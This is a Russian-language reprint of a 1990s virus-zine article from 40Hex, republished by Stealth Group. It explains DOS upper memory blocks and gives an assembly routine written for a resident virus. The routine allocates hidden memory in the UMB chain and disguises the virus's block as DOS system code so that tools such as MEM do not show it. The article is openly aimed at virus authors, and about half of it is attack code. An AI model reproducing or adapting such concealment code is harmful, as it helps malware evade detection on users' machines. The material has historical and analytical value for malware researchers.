▄▄                   ▄
▀▀▀ STEALTH GROUP WW █ Mail:   BOX 15, 125080 MOSCOW   ████████ █████████ █▀▀█
▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀   ┌─┐┬ ┬┌─┤┬ ┬ ╥ ┬┐┌ █▄▄█
 ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█   ▌ █ ▄▀█ █ ▄▀▀ █▄▄    ├┬┘│ │└─┐├─┤   │└┤ ▄  █
  █ █ █ █▀  █▀  █    █  █▀  █ █   █ █ █ █ █ █   █      ┴└─└─┘└─┘┴ ┴   ┴ ┴ ▀▀▀▀
  █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀    ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄   ████  WINTER ' 96  ████
  ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ███████████████████████

    █████████████ РЕЗИДЕНТОМ - В UMB ██████████████ 
40Hex Number 14 Volume 5 Issue 1                                      File 012

		        UMB Residency
	        By Dark Angel, Phalcon/Skism '95

	Однажды,когда я баловался с загрузкой программ в UMB ,я обнаружил
что найдется немного вирусов которые используют эту память,несмотря на удиви-
тельную легкость с которой они могут скрывать свое присутствие используя ее.
	UMB или UPPER MEMORY BLOCKS,состоит из памяти расположенной между 640К
и 1М(сегменты с A000 по FFFF).Эта область была изначально была зарезервирована 
для BIOS и видео памяти.Таким образом, имеем избыток свободного пространства в 
этой области которое предприимчивые програмисты сумели об'едененить с обычной 
памятью DOS.Просто берется и расширяется цепочка MCB в эту область,которая ,
следовательно превращается в память используемую машиной для других целей.Таким 
образом больше памяти становится доступной для использования программами.UMB 
особенно удобны для использования TSR-программами,которые менее требовательны к
размеру памяти ,чем большинство других программ.Программисты MICROSOFT в версиях 
DOS 5+ реализовали утилиты использования UMB и на сегодняшний день методы 
использования UPPER MEMORY на сегодняшний день унифицированы.

	Формат UMB control block следующий:

	Смещение  Размер       Описание
	00	  byte		'Z' если последний блок в цепочке,'M' если нет
	01	  word		PSP сегмента владельца(8 если MSDOS,0-свободен)
	03	  word		размер блока в параграфах
	05	  3 bytes	не используется	
	08	  8 bytes	имя программы в ASCII или 
				"SC" -если системный код или
				"SD" -если системные данные

	Этот метод прост для понимания и для реализации.В DOS 5+ ,указатель	
на первый UMB находится в таблице дискового буфера указатель на который можно
найти в основной таблице DOS (master list structure).Первый UMB обычно распо-
ложен по адресу 9FFF:0000 ,что впрочем не имеет значения.Это просто наиболее 
естественное место для него.Единственное различие между обычным MCB и UMB это 
поле со смещением +8,которое используется для маркировки блока как используемого DOS 
System code.Таким образом,помечая его помечая его соответствующим образом мы 
можем скрыть свое присутствие от таких утилит как MEM.

Нижеприведенный пример,написанный для обычного RC вируса,иллюстрирует эту 
технологию.

start:          xor     di,di

                mov     ax,3306                 ; ОПРОС ВЕРСИИ DOS
                int     21
                inc     al                      ; DOS 4-?
                jz      no_UMBs                 ; ЕСЛИДА ТО UMB НЕДОСТУПНА

                mov     ah,52                   ; get DOS master list
                int     21                      ; structure

                lds     si,es:[bx+12]           ; УКАЗАТЕЛЬ НА ДИСКОВЫЙ БУФЕР

                mov     ax,ds:[si+1f]           ; ПОЛУЧИМ АДРЕС ПЕРВОГО UMB
                inc     ax                      ; (ЕСЛИ FFFF ТО UMB НЕТ)
                jz      no_UMBs
                dec     ax                     

search_chain:   mov     ds,ax                   
                cmp     word ptr [di+1],di      ; БЛОК ИСПОЛЬЗУЕТСЯ?
                jnz     search_next
                cmp     word ptr [di+3],reslength_P ; ДОСТАТОЧНО ЛИ ОН 
                ja      handle_MCB              ; БОЛЬШОЙ
search_next:    cmp     byte ptr [di],'Z'       ; КОНЕЦ ЦЕПОЧКИ?
                jz      no_UMBs
                mov     bx,[di+3]               ; ИЩЕМ СЛЕД MCB
                inc     ax                      ; 40Hex
                add     ax,bx
                jmp     search_chain

no_UMBs:        mov     ax,cs
                dec     ax                      ; ПОЛУЧИМ MCB ДЛЯ ТЕКУЩЕЙ 
                mov     ds,ax                   ; ПРОГРАММЫ
                cmp     word ptr [di+3],reslength_P + 1000 ; достаточно ли 
                jna     fail_init               ; места для программы и вируса+
                                                ; MCB?
                jmp     short handle_MCB

                db      0,'(DA/PS)',0

handle_MCB:     sub     word ptr [di+3],reslength_P + 1 ; выравнивание размера
						; памяти
                                                ; область для вируса + its MCB
                mov     bx,[di+3]               ; получить размер новой области
                mov     cl,'M'                  ; удостоверимся, что этот MCB
                xchg    cl,byte ptr [di]        ; не последний в цепочке
                inc     ax
                add     ax,bx                   ; перейдем в MCB вирусного сегмента
                mov     ds,ax
                mov     es,ax

                mov     byte ptr [di],cl        ; подпатчим конец индикатора
						; цепочки
                mov     word ptr [di+1],8       ; MCB - владелец DOS 
                mov     word ptr [di+3],reslength_P ; запатчим размер вируса

                inc     ax                      ; ds->СЕГМЕНТ ВИРУСА
                mov     ds,ax

                or      di,8               
                mov     ax,'CS'                 ; МАСКИРОВКА
                stosw                          
                xor     ax,ax     
                stosw
                stosw
                stosw

;---------------------------------------------- ВОКАБУЛЯРИЙ (СЛОВАРЬ)
PATCH - патч, патчить - изменять значение
	(Подпатчить DOOM, чтобы не перезаряжать ружье)
	дословно: пятно, заплата.
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
